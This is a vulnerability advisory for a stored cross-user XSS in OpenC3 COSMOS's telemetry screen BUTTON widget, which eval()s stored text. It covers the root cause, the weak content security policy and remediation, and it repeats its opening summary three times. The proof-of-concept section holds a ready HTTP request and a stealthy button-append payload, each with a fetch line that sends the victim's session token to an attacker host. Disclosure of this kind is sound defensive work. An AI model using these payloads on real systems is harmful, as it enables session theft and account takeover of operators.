OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget

OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.6 until 7.3.0, an authenticated actor with system_set permission can store a shared screen through POST /openc3-api/screen whose BUTTON widget action is evaluated by openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue in another operator's browser session when the button is activated. The stored script runs in the COSMOS origin and can read localStorage.openc3Token, allowing theft of the victim's bearer token, account takeover, and actions with the victim's privileges. The permissive content security policy contributes to execution but is not the primary root cause. This issue is fixed in version 7.3.0.

OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.6 until 7.3.0, an authenticated actor with system_set permission can store a shared screen through POST /openc3-api/screen whose BUTTON widget action is evaluated by openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue in another operator's browser session when the button is activated. The stored script runs in the COSMOS origin and can read localStorage.openc3Token, allowing theft of the victim's bearer token, account takeover, and actions with the victim's privileges. The permissive content security policy contributes to execution but is not the primary root cause. This issue is fixed in version 7.3.0.

OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.6 until 7.3.0, an authenticated actor with system_set permission can store a shared screen through POST /openc3-api/screen whose BUTTON widget action is evaluated by openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue in another operator's browser session when the button is activated. The stored script runs in the COSMOS origin and can read localStorage.openc3Token, allowing theft of the victim's bearer token, account takeover, and actions with the victim's privileges. The permissive content security policy contributes to execution but is not the primary root cause. This issue is fixed in version 7.3.0.

## Summary A user who can save a telemetry **screen** (permission `system_set`) can embed JavaScript in a screen `BUTTON` widget. The `BUTTON` widget **`eval()`s the stored button text in the browser** when the button is activated, and screens are **shared content rendered to other users in the scope**. As a result, an attacker's stored JavaScript executes **in a different operator's authenticated session** — a **stored, cross-user XSS** (not self-XSS). The payload runs in the COSMOS origin and can read `localStorage.openc3Token` (the victim's session token), enabling **session/account takeover** and, via the victim's privileges, a path to server-side code execution through the Script Runner. The site's Content-Security-Policy permits `'unsafe-inline'`/`'unsafe-eval'` (see "Contributing factor"), so the injected script runs unimpeded. - **Product:** OpenC3 COSMOS (Core; likely Enterprise — see scoping note) - **Affected version:** confirmed **7.2.0** (latest, tested 2026-06-25); the code path is present on `main`. Lower bound for maintainer to confirm. - **Reporter:** _Arpit Kubadia_ ## Description & root cause 1. **Screen save (the store):** `POST /openc3-api/screen` → `ScreensController#create` (`openc3-cosmos-cmd-tlm-api/app/controllers/screens_controller.rb:35-43`) persists the raw screen text after `authorization('system_set')`. No sanitization of the screen body. 2. **The sink (the execution):** the `BUTTON` widget stores the button's action as its second parameter and **`eval()`s it on click** — `openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue:109`: ```js const lines = this.eval.split(';;') // this.eval == parameters[1] from the stored screen ... const result = eval(lines[i].trim()) // attacker-controlled string -> arbitrary JS in the victim's session ``` 3. **Cross-user delivery:** screens are stored per-scope and rendered to **any** user who opens them (e.g. in Telemetry Viewer). So a screen saved by user A executes in user B's browser. 4. **Contributing factor (CSP):** `openc3-traefik/traefik.yaml:63` sets `script-src 'unsafe-inline' 'unsafe-eval' https: blob: ...` on every SPA response, so the injected/eval'd script is not blocked. (Reportable as a hardening item in its own right.) ## Proof of Concept ### A. Minimal PoC — a button that steals the viewer's token (verified) Authenticated as any user (Core) / a `system_set` user (Enterprise), store a screen: ``` POST /openc3-api/screen HTTP/1.1 Host: localhost:2900 Content-Type: application/json Authorization: ses_<YOUR_TOKEN> Content-Length: 224 {"scope":"DEFAULT","target":"INST","screen":"XSSPOC","text":"SCREEN AUTO AUTO 1.0\nLABEL \"Instrument Status\"\nBUTTON 'Refresh' 'fetch(\"https://ATTACKER-COLLABORATOR/?t=\"+encodeURIComponent(localStorage.openc3Token))'\n"} ``` → HTTP 200, body `true`. **Trigger (as the victim):** open `http://<host>:2900/tools/tlmviewer` → Target `INST`, Screen `XSSPOC` → click **Refresh**. The victim's session token is exfiltrated to `ATTACKER-COLLABORATOR`. *(Verified: an out-of-band request carrying a live `ses_…` token was received at the attacker host.)* A purely visual variant: replace the action with `alert(localStorage.openc3Token)`. ### B. Realistic exploitation — hijack an EXISTING operational screen (no lure) The minimal PoC needs the victim to open the attacker's screen. The realistic attack overwrites a screen operators **already use**, hiding the payload behind a button they **already click**: - The `BUTTON` action is `eval`'d after `this.eval.split(';;')`, so **appending `;; <payload>` to an existing button keeps the original command working and adds the attacker's code**. The operator sees no change. - Example: take the stock `INST COMMANDING` screen's **`Start Collect`** button (which sends `api.cmd('INST COLLECT ...')`) and append: ``` ... + " ;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token))" ``` Re-save the screen (`POST /openc3-api/screen`, same route). Now every operator who opens COMMANDING and clicks `Start Collect` during normal operations sends the real command **and** leaks their session token. No new button, no behavioral change, no social-engineering lure. ## Impact The injected script runs with the victim's session in the COSMOS origin. It can: - **Exfiltrate the victim's session token** (`localStorage.openc3Token`) → session/account takeover (the token is a bearer credential accepted in the `Authorization` header). - Act as the victim against the API, and — for a victim with script privileges — pivot to the **Script Runner** to achieve **server-side code execution** (the documented escalation chain). This is **cross-user / persistent**: an attacker who can edit shared screens compromises the sessions of other operators viewing those screens, which is materially worse than self-XSS. ## Remediation 1. **Do not `eval()` screen-supplied strings.** Replace the `BUTTON` widget's `eval` with a constrained, non-`eval` command interface (an allow-listed API surface / safe expression evaluator), or sandbox it. 2. **Tighten the CSP** (`openc3-traefik/traefik.yaml`): remove `'unsafe-inline'`/`'unsafe-eval'`, move to per-request `nonce` + `'strict-dynamic'`, add `object-src 'none'`, `base-uri 'self'`, `frame-ancestors 'self'`. This alone neutralizes injected inline/eval'd script. 3. **Treat screens as untrusted, cross-user content** — escape/validate on render; consider gating screen-embedded JavaScript behind a dedicated, clearly-privileged capability rather than the general `system_set`.